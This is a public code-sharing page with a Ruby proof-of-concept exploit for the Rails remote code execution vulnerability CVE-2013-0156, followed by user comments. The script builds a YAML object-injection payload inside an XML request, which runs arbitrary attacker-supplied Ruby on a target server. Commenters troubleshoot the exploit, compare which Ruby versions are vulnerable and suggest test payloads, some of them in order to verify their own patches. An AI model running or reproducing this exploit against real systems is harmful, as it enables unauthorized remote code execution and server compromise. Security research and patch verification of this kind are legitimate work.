public
Last active

Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)

  • Download Gist
rails_rce.rb
Ruby
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142
#!/usr/bin/env ruby
#
# Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
#
# ## Advisory
#
# https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
#
# ## Caveats
#
# * Does not support Ruby 1.8.7.
#
# ## Synopsis
#
# $ rails_rce.rb URL RUBY
#
# ## Dependencies
#
# $ gem install ronin-support
#
# ## Example
#
# $ rails_rce.rb http://localhost:3000/secrets/search "puts 'lol'"
#
# ### config/routes.rb
#
# resources :secrets do
# collection do
# post :search
# end
# end
#
# ### app/controllers/secrets_controller.rb
#
# def search
# @secret = secret.find_by_secret(params[:secret])
#
# render :json => @secret
# end
#
# ## License
#
# Copyright (c) 2013 Postmodern
#
# This exploit is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This exploit is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this exploit. If not, see <http://www.gnu.org/licenses/>.
#
# ## Shoutz
#
# drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch,
# starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern,
# mephux, nullthreat, evoltech, flatline, r0bglesson, @ericmonti, @bascule,
# @charliesome, @homakov, @envygeek, @chendo, @bitsweat (for creating the vuln),
# @tenderlove (for fixing it), Fun Town Auto, garbage pail kids, hipsters,
# the old Jolly Inn, Irvin Santiago, that heavy metal dude who always bummed
# cigarettes off us, SophSec crew and affiliates.
#
 
require 'ronin/network/http'
require 'ronin/formatting/html'
require 'ronin/ui/output'
require 'yaml'
 
include Ronin::Network::HTTP
include Ronin::UI::Output::Helpers
 
def escape_payload(payload,target=:rails3)
case target
when :rails3 then "foo\n#{payload}\n__END__\n"
when :rails2 then "foo\nend\n#{payload}\n__END__\n"
else
raise(ArgumentError,"unsupported target: #{target}")
end
end
 
def wrap_payload(payload)
"(#{payload}; @executed = true) unless @executed"
end
 
def exploit(url,payload,target=:rails3)
escaped_payload = escape_payload(wrap_payload(payload),target)
encoded_payload = escaped_payload.to_yaml.sub('--- ','').chomp
 
yaml = %{
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? #{encoded_payload}
: !ruby/struct
defaults:
:action: create
:controller: foos
required_parts: []
requirements:
:action: create
:controller: foos
segment_keys:
- :format
}.strip
 
xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">#{yaml.html_escape}</exploit>
}.strip
 
return http_post(
:url => url,
:headers => {
:content_type => 'text/xml',
:x_http_method_override => 'get'
},
:body => xml
)
end
 
if $0 == __FILE__
unless ARGV.length >= 2
$stderr.puts "usage: #{$0} URL RUBY [rails3|rails2]"
exit -1
end
 
url = ARGV[0]
payload = ARGV[1]
target = ARGV.fetch(2,:rails3).to_sym
 
print_info "POSTing #{payload} to #{url} ..."
response = exploit(url,payload,target)
 
case response.code
when '200' then print_info "Success!"
when '500' then print_error "Error!"
else print_error "Received response code #{response.code}"
end
end

GETs are also vulnerable. (try it)

Do you know the changes needed for Rails 2 apps?

I wrote up a detailed explanation of the Rails vulnerability here: http://blog.codeclimate.com/blog/2013/01/10/rails-remote-code-execution-vulnerability-explained/

It breaks down a proof of concept example step by step to illustrate how object injection leads to code injection.

Can you explain to me what does "END" do in this gist? Thanks

@bachue: Ruby has a facility for inlining data into your code. Anything after __END__ is ignored by the parser and is instead put into a special global called DATA. In this case, the named route generator does some wizardry using module_eval, and the __END__ is used to make sure that only our code is run and any other wizardry skipped.

More info on DATA and __END__: http://shifteleven.com/articles/2009/02/09/useless-ruby-tricks-data-and-__end__

Can someone explain what has to happen on the server-side to make this exploit work? I have tried executing it against a production 3.2.9 app and with the "puts 'lol'" code to execute and nothing shows up on my logs. My goal is to see the exploit work, update the app to mitigate the problem, then run again to verify it is no longer exploitable.

I had to modify this code slightly. I removed the x_http_method_override. Also, I did not see the Ruby code execute in either instance. Here's what I saw in my server logs.

Unpatched Server

Started POST "/items" for 127.0.0.1 at 2013-01-10 12:55:34 -0500
  Processing by ItemsController#create as */*
  Parameters: {"exploit"=>#<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0x007ffa1225a148>}

Patched Server

Started POST "/items" for 127.0.0.1 at 2013-01-10 12:56:14 -0500
  Processing by ItemsController#create as */*
  Parameters: {}

My changes are here: https://gist.github.com/4504388

@eric1234 you may be running your server in a way that doesn't capture stdout. Inject something like File.open('/tmp/foo') {|f| f.write('bar')}.

Still no luck. I tried using the Rails logger to write to the log file. I also tried just creating a new file like @cairo140 suggested. Here is what I see in my log:

Started GET "/home" for 76.20.208.70 at 2013-01-10 16:54:11 -0600
Processing by PagesController#show as */*
  Parameters: {"exploit"=>{"foo; open('/tmp/exploit.txt') {|f| f.write('success')}\n__END__\n"=>#<OpenStruct defaults={:action=>"create", :controller=>"foos"}, required_parts=[], requirements={:action=>"create", :controller=>"foos"}, segment_keys=[:format]>}, "id"=>12}
[....snip logs not relevant....]
Completed 200 OK in 53ms (Views: 41.3ms | ActiveRecord: 2.2ms)

The example in this gist does not match the current edit.... and I cannot get a successful test. I would think another bit of code to run would be 'Rails.logger.debug "OUCH"'

@mjbellantoni turns out ronin-support HTTP.request will not send a body if Net::HTTPRequest#request_body_permitted? returns false; this has been fixed in master. So a POST and X-Http-Method-Override are required. Your first example output looks correct. The output of the injected code should appear just above the Rails Request logging output.

@eric1234 Checkout the lengthy write up. I tested the exploit against a Rails 3.2.9 app, but in development mode. Perhaps check the production log files? However, your example output looks incorrect, it should contain an ActionDispatch::Routing::RouteSet::NamedRouteCollection object. Is this app running on Ruby 1.8?

@postmodern - I figured out why your exploit did not work for me. My Rails application is running Ruby 1.9.2 which ships with Psych 1.0.0. This version of Psych is not as magical. It will serialize into arbitrary classes for Object, String and Exception. But you always got a plain Hash object from Psych until this pull request. So if your app is running on Ruby 1.9.2 you are not AS vulnerable although I am sure a crafty person could come up with a similar exploit that serializes a subclass of Object, String or Exception and figures out how to execute code on that object.

One thing I am wondering. Since all this depends on YAML serialization of ruby objects, and since Ruby 1.8.x shipped with Syck instead of Psych. Is it as vulnerable? I took a quick look at the code and I don't think it is. All objects that can be deserialized are explicity declared and there is not magic deserialization of sub-classes. Would love someone who is better with security to confirm that. If that is the case then does that means any Rails app on 1.8 is not vulnerable. I know a lot of people have moved to 1.9 but if 1.8 is safe then that significantly cuts down on the number of apps that need to be patched.

Just to followup. I did a bit more testing and Ruby 1.8 is indeed vulnerable to some of your POC scripts, but not this one for the same reason as Ruby 1.9.2. This script depends on the fact that you can unserialize any hash-like object via the ruby/hash tag. Ruby 1.9.2 and Ruby 1.8 BOTH do not allow this. You will always get back a plain Hash.

From what I can tell your symbol DOS POC would still be effective on Ruby 1.8 and Ruby 1.9.2. Also your SQL Injection should still be effective since Arel::Nodes::SqlLiteral inherits from String. Ruby 1.8 and 1.9.2 won't allow a ruby/string to be an arbitrary class. But any subclass of String (like SqlLiteral) will work.

@eric1234 Excellent findings! I will update the blog post.

I have also refactored the exploit to support both Rails 2 and 3. It turns out both Rails 2 and 3 provide a ActionController::Routing::RouteSet::NamedRouteCollection constant for backwards compatibility. However, the helper code that is evaluated is slightly different, so I had to require the user specify the version of Rails they wish to exploit.

Rails 2

          def #{selector}(options = nil)
            options ? #{options.inspect}.merge(options) : #{options.inspect}
          end
          protected :#{selector}

Rails 3

          remove_possible_method :#{selector}
          def #{selector}(*args)
            options = args.extract_options!
            result = #{options.inspect}

            if args.size > 0
              result[:_positional_args] = args
              result[:_positional_keys] = #{route.segment_keys.inspect}
            end

            result.merge(options)
          end
          protected :#{selector}

@eric1234 Just installed Ruby 1.9.2-p320 and can confirm Rails 2.x and 3.x are not vulnerable to the RCE exploit.

You need to correct the documentation above, as you're also specifying the param 'secret' in there; from what I can see this is not needed for this exploit although was used in the SQL (AREL) injection attack.

# $ rails_rce.rb http://localhost:3000/secrets/search "puts 'lol'" rails3

@bsodmike good eyes. Fixed.

I'm getting an error:

./rails_rce.rb:92:in `exploit': undefined method `sub' for {}:Hash (NoMethodError)
        from ./rails_rce.rb:135:in `<main>'

I also get this error

Please sign in to comment on this gist.

Something went wrong with that request. Please try again.